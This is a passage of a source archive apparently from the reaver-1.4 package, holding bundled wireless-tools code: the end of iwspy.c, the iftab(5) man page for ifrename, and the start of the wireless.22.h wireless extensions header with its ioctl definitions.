Statistics are in dBm (absolute power measurement) */ printf("%-8.16s Low threshold:%d dBm High threshold:%d dBm\n\n", ifname, threshold.low.level - 0x100, threshold.high.level - 0x100); } else { /* Statistics are relative values (0 -> max) */ printf("%-8.16s Low threshold:%d/%d High threshold:%d/%d\n\n", ifname, threshold.low.level, range.max_qual.level, threshold.high.level, range.max_qual.level); } } else { /* We can't read the range, so we don't know... */ printf("%-8.16s Low threshold:%d High threshold:%d\n\n", ifname, threshold.low.level, threshold.high.level); } return(0); } /************************* SETTING ROUTINES **************************/ /*------------------------------------------------------------------*/ /* * Set list of addresses specified on command line in the driver. */ static int set_spy_info(int skfd, /* The socket */ char * ifname, /* Dev name */ char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; int i; int nbr; /* Number of valid addresses */ struct sockaddr hw_address[IW_MAX_SPY]; /* Read command line */ i = 0; /* first arg to read */ nbr = 0; /* Number of args read so far */ /* "off" : disable functionality (set 0 addresses) */ if(!strcmp(args[0], "off")) i = 1; /* skip the "off" */ else { /* "+" : add all addresses already in the driver */ if(!strcmp(args[0], "+")) { char buffer[(sizeof(struct iw_quality) + sizeof(struct sockaddr)) * IW_MAX_SPY]; /* Check if we have valid mac address type */ if(iw_check_mac_addr_type(skfd, ifname) < 0) { fprintf(stderr, "%-8.16s Interface doesn't support MAC addresses\n", ifname); return(-1); } wrq.u.data.pointer = (caddr_t) buffer; wrq.u.data.length = IW_MAX_SPY; wrq.u.data.flags = 0; if(iw_get_ext(skfd, ifname, SIOCGIWSPY, &wrq) < 0) { fprintf(stderr, "Interface doesn't accept reading addresses...\n"); fprintf(stderr, "SIOCGIWSPY: %s\n", strerror(errno)); return(-1); } /* Copy old addresses */ nbr = wrq.u.data.length; memcpy(hw_address, buffer, nbr * sizeof(struct sockaddr)); i = 1; /* skip the "+" */ } /* Read other args on command line */ while((i < count) && (nbr < IW_MAX_SPY)) { /* Get the address and check if the interface supports it */ if(iw_in_addr(skfd, ifname, args[i++], &(hw_address[nbr])) < 0) continue; nbr++; } /* Check the number of addresses */ if(nbr == 0) { fprintf(stderr, "No valid addresses found : exiting...\n"); return(-1); } } /* Check if there is some remaining arguments */ if(i < count) { fprintf(stderr, "Got only the first %d arguments, remaining discarded\n", i); } /* Time to do send addresses to the driver */ wrq.u.data.pointer = (caddr_t) hw_address; wrq.u.data.length = nbr; wrq.u.data.flags = 0; if(iw_set_ext(skfd, ifname, SIOCSIWSPY, &wrq) < 0) { fprintf(stderr, "Interface doesn't accept addresses...\n"); fprintf(stderr, "SIOCSIWSPY: %s\n", strerror(errno)); return(-1); } return(0); } /*------------------------------------------------------------------*/ /* * Set spy thresholds in the driver from command line */ static int set_spy_threshold(int skfd, /* The socket */ char * ifname, /* Dev name */ char * args[], /* Command line args */ int count) /* Args count */ { struct iwreq wrq; struct iw_thrspy threshold; int low_thr; int high_thr; /* Init */ memset(&threshold, '\0', sizeof(threshold)); /* "off" : disable functionality (set 0 addresses) */ if(!strcmp(args[0], "off")) { /* Just send null threshold, will disable it */ } else { /* Try to get our threshold */ if(count < 2) { fprintf(stderr, "%-8.16s Need two threshold values\n", ifname); return(-1); } if((sscanf(args[0], "%i", &low_thr) != 1) || (sscanf(args[1], "%i", &high_thr) != 1)) { fprintf(stderr, "%-8.16s Invalid threshold values\n", ifname); return(-1); } /* Basic sanity check */ if(high_thr < low_thr) { fprintf(stderr, "%-8.16s Inverted threshold range\n", ifname); return(-1); } /* Copy thresholds */ threshold.low.level = low_thr; threshold.low.updated = 0x2; threshold.high.level = high_thr; threshold.high.updated = 0x2; } /* Time to send thresholds to the driver */ wrq.u.data.pointer = (caddr_t) &threshold; wrq.u.data.length = 1; wrq.u.data.flags = 0; if(iw_set_ext(skfd, ifname, SIOCSIWTHRSPY, &wrq) < 0) { fprintf(stderr, "Interface doesn't accept thresholds...\n"); fprintf(stderr, "SIOCSIWTHRSPY: %s\n", strerror(errno)); return(-1); } return(0); } /******************************* MAIN ********************************/ /*------------------------------------------------------------------*/ /* * The main ! */ int main(int argc, char ** argv) { int skfd; /* generic raw socket desc. */ int goterr = 0; /* Create a channel to the NET kernel. */ if((skfd = iw_sockets_open()) < 0) { perror("socket"); return(-1); } /* No argument : show the list of all device + info */ if(argc == 1) iw_enum_devices(skfd, &print_spy_info, NULL, 0); else /* Special cases take one... */ /* Help */ if((!strcmp(argv[1], "-h")) || (!strcmp(argv[1], "--help"))) fprintf(stderr, "Usage: iwspy interface [+] [MAC address] [IP address]\n"); else /* Version */ if (!strcmp(argv[1], "-v") || !strcmp(argv[1], "--version")) goterr = iw_print_version_info("iwspy"); else /* The device name must be the first argument */ /* Name only : show spy list for that device only */ if(argc == 2) print_spy_info(skfd, argv[1], NULL, 0); else /* Special commands */ if(!strcmp(argv[2], "setthr")) goterr = set_spy_threshold(skfd, argv[1], argv + 3, argc - 3); else if(!strcmp(argv[2], "getthr")) goterr = get_spy_threshold(skfd, argv[1], argv + 3, argc - 3); else /* Otherwise, it's a list of address to set in the spy list */ goterr = set_spy_info(skfd, argv[1], argv + 2, argc - 2); /* Close the socket. */ iw_sockets_close(skfd); return(goterr); } reaver-1.4/src/lwe/iftab.50000755000175000017500000002202311705505256014735 0ustar reaverreaver.\" Jean II - HPL - 2004-2007 .\" iftab.5 .\" .TH IFTAB 5 "26 February 2007" "wireless-tools" "Linux Programmer's Manual" .\" .\" NAME part .\" .SH NAME iftab \- static information about the network interfaces .\" .\" DESCRIPTION part .\" .SH DESCRIPTION The file .B /etc/iftab contains descriptive information about the various network interfaces. .B iftab is only used by the program .IR ifrename (8) to assign a consistent network interface name to each network interface. .PP .B /etc/iftab defines a set of .IR mappings . Each mapping contains an interface name and a set of selectors. The selectors allow .B ifrename to identify each network interface on the system. If a network interface matches all descriptors of a mapping, .B ifrename attempt to change the name of the interface to the interface name given by the mapping. .\" .\" MAPPINGS part .\" .SH MAPPINGS Each mapping is described on a separate line, it starts with an .IR "interface name" , and contains a set of .IR descriptors , separated by space or tabs. .PP The relationship between descriptors of a mapping is a .IR "logical and" . A mapping matches a network interface only is all the descriptors match. If a network interface doesn't support a specific descriptor, it won't match any mappings using this descriptor. .PP If you want to use alternate descriptors for an interface name (logical or), specify two different mappings with the same interface name (one on each line). .B Ifrename always use the first matching mapping starting from the .I end of .BR iftab , therefore more restrictive mapping should be specified last. .\" .\" INTERFACE NAME part .\" .SH INTERFACE NAME The first part of each mapping is an interface name. If a network interface matches all descriptors of a mapping, .B ifrename attempt to change the name of the interface to the interface name given by the mapping. .PP The interface name of a mapping is either a plain interface name (such as .IR eth2 " or " wlan1 ) or a interface name pattern containing a single wildcard (such as .IR eth* " or " wlan* ). In case of wildcard, the kernel replace the '*' with the lowest available integer making this interface name unique. Note that wildcard is only supported for kernel 2.6.1 and 2.4.30 and later. .PP It is discouraged to try to map interfaces to default interfaces names such as .IR eth0 ", " wlan0 " or " ppp0 . The kernel use those as the default name for any new interface, therefore most likely an interface will already use this name and prevent ifrename to use it. Even if you use takeover, the interface may already be up in some cases. Not using those name will allow you to immediately spot unconfigured or new interfaces. .br Good names are either totally unique and meaningfull, such as .IR mydsl " or " privatehub , or use larger integer, such as .IR eth5 " or " wlan5 . The second type is usually easier to integrate in various network utilities. .\" .\" DESCRIPTORS part .\" .SH DESCRIPTORS Each descriptor is composed of a descriptor name and descriptor value. Descriptors specify a static attribute of a network interface, the goal is to uniquely identify each piece of hardware. .PP Most users will only use the .B mac selector despite its potential problems, other selectors are for more specialised setup. Most selectors accept a '*' in the selector value for wilcard matching, and most selectors are case insensitive. .TP .BI mac " mac address" Matches the MAC Address of the interface with the specified MAC address. The MAC address of the interface can be shown using .IR ifconfig (8) or .IR ip (8). .br This is the most common selector, as most interfaces have a unique MAC address allowing to identify network interfaces without ambiguity. However, some interfaces don't have a valid MAC address until they are brought up, in such case using this selector is tricky or impossible. .TP .BI arp " arp type" Matches the ARP Type (also called Link Type) of the interface with the specified ARP type as a number. The ARP Type of the interface can be shown using .IR ifconfig (8) or .IR ip (8), the .B link/ether type correspond to .B 1 and the .B link/ieee802.11 type correspond to .BR 801 . .br This selector is useful when a driver create multiple network interfaces for a single network card. .TP .BI driver " driver name" Matches the Driver Name of the interface with the specified driver name. The Driver Name of the interface can be shown using .IR "ethtool -i" (8). .TP .BI businfo " bus information" Matches the Bus Information of the interface with the specified bus information. The Bus Information of the interface can be shown using .IR "ethtool -i" (8). .TP .BI firmware " firmware revision" Matches the Firmware Revision of the interface with the firmware revision information. The Firmware Revision of the interface can be shown using .IR "ethtool -i" (8). .TP .BI baseaddress " base address" Matches the Base Address of the interface with the specified base address. The Base Address of the interface can be shown using .IR ifconfig (8). .br Because most cards use dynamic allocation of the Base Address, this selector is only useful for ISA and EISA cards. .TP .BI irq " irq line" Matches the IRQ Line (interrupt) of the interface with the specified IRQ line. The IRQ Line of the interface can be shown using .IR ifconfig (8). .br Because there are IRQ Lines may be shared, this selector is usually not sufficient to uniquely identify an interface. .TP .BI iwproto " wireless protocol" Matches the Wireless Protocol of the interface with the specified wireless protocol. The Wireless Protocol of the interface can be shown using .IR iwconfig (8) or .IR iwgetid (8). .br This selector is only supported on wireless interfaces and is not sufficient to uniquely identify an interface. .TP .BI pcmciaslot " pcmcia slot" Matches the Pcmcia Socket number of the interface with the specified slot number. Pcmcia Socket number of the interface can be shown using .IR "cardctl ident" (8). .br This selector is usually only supported on 16 bits cards, for 32 bits cards it is advised to use the selector .BR businfo . .TP .BI prevname " previous interface name" Matches the name of the interface prior to renaming with the specified oldname. .br This selector should be avoided as the previous interface name may vary depending on various condition. A system/kernel/driver update may change the original name. Then, ifrename or another tool may rename it prior to the execution of this selector. .TP .BI SYSFS{ filename } " value" Matches the content the sysfs attribute given by filename to the specified value. For symlinks and parents directories, match the actual directory name of the sysfs attribute given by filename to the specified value. .br A list of the most useful sysfs attributes is given in the next section. .\" .\" SYSFS DESCRIPTORS part .\" .SH SYSFS DESCRIPTORS Sysfs attributes for a specific interface are located on most systems in the directory named after that interface at .IR /sys/class/net/ . Most sysfs attribute are files, and their values can be read using .IR cat "(1) or " more (1). It is also possible to match attributes in subdirectories. .PP Some sysfs attributes are symlinks, pointing to another directory in sysfs. If the attribute filename is a symlink the sysfs attribute resolves to the name of the directory pointed by the symlink using .IR readlink (1). The location is a directory in the sysfs tree is also important. If the attribute filename ends with .IR /.. , the sysfs attribute resolves to the real name of the parent directory using .IR pwd (1). .PP The sysfs filesystem is only supported with 2.6.X kernel and need to be mounted (usually in .IR /sys ). sysfs selectors are not as efficient as other selectors, therefore they should be avoided for maximum performance. .PP These are common sysfs attributes and their corresponding ifrename descriptors. .TP .BI SYSFS{address} " value" Same as the .B mac descriptor. .TP .BI SYSFS{type} " value" Same as the .B arp descriptor. .TP .BI SYSFS{device} " value" Valid only up to kernel 2.6.20. Same as the .B businfo descriptor. .TP .BI SYSFS{..} " value" Valid only from kernel 2.6.21. Same as the .B businfo descriptor. .TP .BI SYSFS{device/driver} " value" Valid only up to kernel 2.6.20. Same as the .B driver descriptor. .TP .BI SYSFS{../driver} " value" Valid only from kernel 2.6.21. Same as the .B driver descriptor. .TP .BI SYSFS{device/irq} " value" Valid only up to kernel 2.6.20. Same as the .B irq descriptor. .TP .BI SYSFS{../irq} " value" Valid only from kernel 2.6.21. Same as the .B irq descriptor. .\" .\" EXAMPLES part .\" .SH EXAMPLES # This is a comment .br eth2 mac 08:00:09:DE:82:0E .br eth3 driver wavelan interrupt 15 baseaddress 0x390 .br eth4 driver pcnet32 businfo 0000:02:05.0 .br air* mac 00:07:0E:* arp 1 .br myvpn SYSFS{address} 00:10:83:* SYSFS{type} 1 .br bcm* SYSFS{device} 0000:03:00.0 SYSFS{device/driver} bcm43xx .br bcm* SYSFS{..} 0000:03:00.0 SYSFS{../driver} bcm43xx .\" .\" AUTHOR part .\" .SH AUTHOR Jean Tourrilhes \- jt@hpl.hp.com .\" .\" FILES part .\" .SH FILES .I /etc/iftab .\" .\" SEE ALSO part .\" .SH SEE ALSO .BR ifrename (8), .BR ifconfig (8), .BR ip (8), .BR ethtool (8), .BR iwconfig (8). reaver-1.4/src/lwe/wireless.22.h0000755000175000017500000012516311705505256016023 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 22 16.3.07 * * Authors : Jean Tourrilhes - HPL - * Copyright (c) 1997-2007 Jean Tourrilhes, All Rights Reserved. */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Initial APIs (1996 -> onward) : * ----------------------------- * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * # net/core/dev.c (two place + add include) * # net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * # net/core/dev.c (two other places) * # include/linux/netdevice.h (one place) * # include/linux/proc_fs.h (one place) * * New driver API (2002 -> onward) : * ------------------------------- * This file is only concerned with the user space API and common definitions. * The new driver API is defined and documented in : * # include/net/iw_handler.h * * Note as well that /proc/net/wireless implementation has now moved in : * # net/core/wireless.c * * Wireless Events (2002 -> onward) : * -------------------------------- * Events are defined at the end of this file, and implemented in : * # net/core/wireless.c * * Other comments : * -------------- * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ /* This header is used in user-space, therefore need to be sanitised * for that purpose. Those includes are usually not compatible with glibc. * To know which includes to use in user-space, check iwlib.h. */ #ifdef __KERNEL__ #include /* for "caddr_t" et al */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ #endif /* __KERNEL__ */ /***************************** VERSION *****************************/ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 22 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) * * V12 to V13 * ---------- * - Document creation of new driver API. * - Extract union iwreq_data from struct iwreq (for new driver API). * - Rename SIOCSIWNAME as SIOCSIWCOMMIT * * V13 to V14 * ---------- * - Wireless Events support : define struct iw_event * - Define additional specific event numbers * - Add "addr" and "param" fields in union iwreq_data * - AP scanning stuff (SIOCSIWSCAN and friends) * * V14 to V15 * ---------- * - Add IW_PRIV_TYPE_ADDR for struct sockaddr private arg * - Make struct iw_freq signed (both m & e), add explicit padding * - Add IWEVCUSTOM for driver specific event/scanning token * - Add IW_MAX_GET_SPY for driver returning a lot of addresses * - Add IW_TXPOW_RANGE for range of Tx Powers * - Add IWEVREGISTERED & IWEVEXPIRED events for Access Points * - Add IW_MODE_MONITOR for passive monitor * * V15 to V16 * ---------- * - Increase the number of bitrates in iw_range to 32 (for 802.11g) * - Increase the number of frequencies in iw_range to 32 (for 802.11b+a) * - Reshuffle struct iw_range for increases, add filler * - Increase IW_MAX_AP to 64 for driver returning a lot of addresses * - Remove IW_MAX_GET_SPY because conflict with enhanced spy support * - Add SIOCSIWTHRSPY/SIOCGIWTHRSPY and "struct iw_thrspy" * - Add IW_ENCODE_TEMP and iw_range->encoding_login_index * * V16 to V17 * ---------- * - Add flags to frequency -> auto/fixed * - Document (struct iw_quality *)->updated, add new flags (INVALID) * - Wireless Event capability in struct iw_range * - Add support for relative TxPower (yick !) * * V17 to V18 (From Jouni Malinen ) * ---------- * - Add support for WPA/WPA2 * - Add extended encoding configuration (SIOCSIWENCODEEXT and * SIOCGIWENCODEEXT) * - Add SIOCSIWGENIE/SIOCGIWGENIE * - Add SIOCSIWMLME * - Add SIOCSIWPMKSA * - Add struct iw_range bit field for supported encoding capabilities * - Add optional scan request parameters for SIOCSIWSCAN * - Add SIOCSIWAUTH/SIOCGIWAUTH for setting authentication and WPA * related parameters (extensible up to 4096 parameter values) * - Add wireless events: IWEVGENIE, IWEVMICHAELMICFAILURE, * IWEVASSOCREQIE, IWEVASSOCRESPIE, IWEVPMKIDCAND * * V18 to V19 * ---------- * - Remove (struct iw_point *)->pointer from events and streams * - Remove header includes to help user space * - Increase IW_ENCODING_TOKEN_MAX from 32 to 64 * - Add IW_QUAL_ALL_UPDATED and IW_QUAL_ALL_INVALID macros * - Add explicit flag to tell stats are in dBm : IW_QUAL_DBM * - Add IW_IOCTL_IDX() and IW_EVENT_IDX() macros * * V19 to V20 * ---------- * - RtNetlink requests support (SET/GET) * * V20 to V21 * ---------- * - Remove (struct net_device *)->get_wireless_stats() * - Change length in ESSID and NICK to strlen() instead of strlen()+1 * - Add IW_RETRY_SHORT/IW_RETRY_LONG retry modifiers * - Power/Retry relative values no longer * 100000 * - Add explicit flag to tell stats are in 802.11k RCPI : IW_QUAL_RCPI * * V21 to V22 * ---------- * - Prevent leaking of kernel space in stream on 64 bits. */ /**************************** CONSTANTS ****************************/ /* -------------------------- IOCTL LIST -------------------------- */ /* Wireless Identification */ #define SIOCSIWCOMMIT 0x8B00 /* Commit pending changes to driver */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ /* SIOCGIWNAME is used to verify the presence of Wireless Extensions. * Common values : "IEEE 802.11-DS", "IEEE 802.11-FH", "IEEE 802.11b"... * Don't put the name of your driver there, it's useless. */ /* Basic operations */ #define SIOCSIWNWID 0x8B02 /* set network id (pre-802.11) */ #define SIOCGIWNWID 0x8B03 /* get network id (the cell) */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* SIOCGIWSTATS is strictly used between user space and the kernel, and * is never passed to the driver (i.e. the driver will never see it). */ /* Spy support (statistics per MAC address - used for Mobile IP support) */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ #define SIOCSIWTHRSPY 0x8B12 /* set spy threshold (spy event) */ #define SIOCGIWTHRSPY 0x8B13 /* get spy threshold */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* Deprecated in favor of scanning */ #define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* Modulation bitmask */ #define SIOCSIWMODUL 0x8B2E /* set Modulations settings */ #define SIOCGIWMODUL 0x8B2F /* get Modulations settings */ /* WPA : Generic IEEE 802.11 informatiom element (e.g., for WPA/RSN/WMM). * This ioctl uses struct iw_point and data buffer that includes IE id and len * fields. More than one IE may be included in the request. Setting the generic * IE to empty buffer (len=0) removes the generic IE from the driver. Drivers * are allowed to generate their own WPA/RSN IEs, but in these cases, drivers * are required to report the used IE as a wireless event, e.g., when * associating with an AP. */ #define SIOCSIWGENIE 0x8B30 /* set generic IE */ #define SIOCGIWGENIE 0x8B31 /* get generic IE */ /* WPA : IEEE 802.11 MLME requests */ #define SIOCSIWMLME 0x8B16 /* request MLME operation; uses * struct iw_mlme */ /* WPA : Authentication mode parameters */ #define SIOCSIWAUTH 0x8B32 /* set authentication mode params */ #define SIOCGIWAUTH 0x8B33 /* get authentication mode params */ /* WPA : Extended version of encoding configuration */ #define SIOCSIWENCODEEXT 0x8B34 /* set encoding token & mode */ #define SIOCGIWENCODEEXT 0x8B35 /* get encoding token & mode */ /* WPA2 : PMKSA cache management */ #define SIOCSIWPMKSA 0x8B36 /* PMKSA cache operation */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 32 ioctl are wireless device private, for 16 commands. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we now have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'even' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). More details in iwpriv.c. * And I repeat : you are not forced to use them with iwpriv, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ #define IW_IOCTL_IDX(cmd) ((cmd) - SIOCIWFIRST) /* Odd : get (world access), even : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ----------------------- WIRELESS EVENTS ----------------------- */ /* Those are *NOT* ioctls, do not issue request on them !!! */ /* Most events use the same identifier as ioctl requests */ #define IWEVTXDROP 0x8C00 /* Packet dropped to excessive retry */ #define IWEVQUAL 0x8C01 /* Quality part of statistics (scan) */ #define IWEVCUSTOM 0x8C02 /* Driver specific ascii string */ #define IWEVREGISTERED 0x8C03 /* Discovered a new node (AP mode) */ #define IWEVEXPIRED 0x8C04 /* Expired a node (AP mode) */ #define IWEVGENIE 0x8C05 /* Generic IE (WPA, RSN, WMM, ..) * (scan results); This includes id and * length fields. One IWEVGENIE may * contain more than one IE. Scan * results may contain one or more * IWEVGENIE events. */ #define IWEVMICHAELMICFAILURE 0x8C06 /* Michael MIC failure * (struct iw_michaelmicfailure) */ #define IWEVASSOCREQIE 0x8C07 /* IEs used in (Re)Association Request. * The data includes id and length * fields and may contain more than one * IE. This event is required in * Managed mode if the driver * generates its own WPA/RSN IE. This * should be sent just before * IWEVREGISTERED event for the * association. */ #define IWEVASSOCRESPIE 0x8C08 /* IEs used in (Re)Association * Response. The data includes id and * length fields and may contain more * than one IE. This may be sent * between IWEVASSOCREQIE and * IWEVREGISTERED events for the * association. */ #define IWEVPMKIDCAND 0x8C09 /* PMKID candidate for RSN * pre-authentication * (struct iw_pmkid_cand) */ #define IWEVFIRST 0x8C00 #define IW_EVENT_IDX(cmd) ((cmd) - IWEVFIRST) /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 /* struct iw_freq */ #define IW_PRIV_TYPE_ADDR 0x6000 /* struct sockaddr */ #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed number of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 32 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 32 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Note : if you more than 8 TXPowers, just set the max and min or * a few of them in the struct iw_range. */ /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 64 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ #define IW_MODE_MONITOR 6 /* Passive monitor (listen only) */ /* Statistics flags (bitmask in updated) */ #define IW_QUAL_QUAL_UPDATED 0x01 /* Value was updated since last read */ #define IW_QUAL_LEVEL_UPDATED 0x02 #define IW_QUAL_NOISE_UPDATED 0x04 #define IW_QUAL_ALL_UPDATED 0x07 #define IW_QUAL_DBM 0x08 /* Level + Noise are dBm */ #define IW_QUAL_QUAL_INVALID 0x10 /* Driver doesn't provide value */ #define IW_QUAL_LEVEL_INVALID 0x20 #define IW_QUAL_NOISE_INVALID 0x40 #define IW_QUAL_RCPI 0x80 /* Level + Noise are 802.11k RCPI */ #define IW_QUAL_ALL_INVALID 0x70 /* Frequency flags */ #define IW_FREQ_AUTO 0x00 /* Let the driver decides */ #define IW_FREQ_FIXED 0x01 /* Force a specific value */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 64 /* 512 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ #define IW_ENCODE_TEMP 0x0400 /* Temporary key */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter 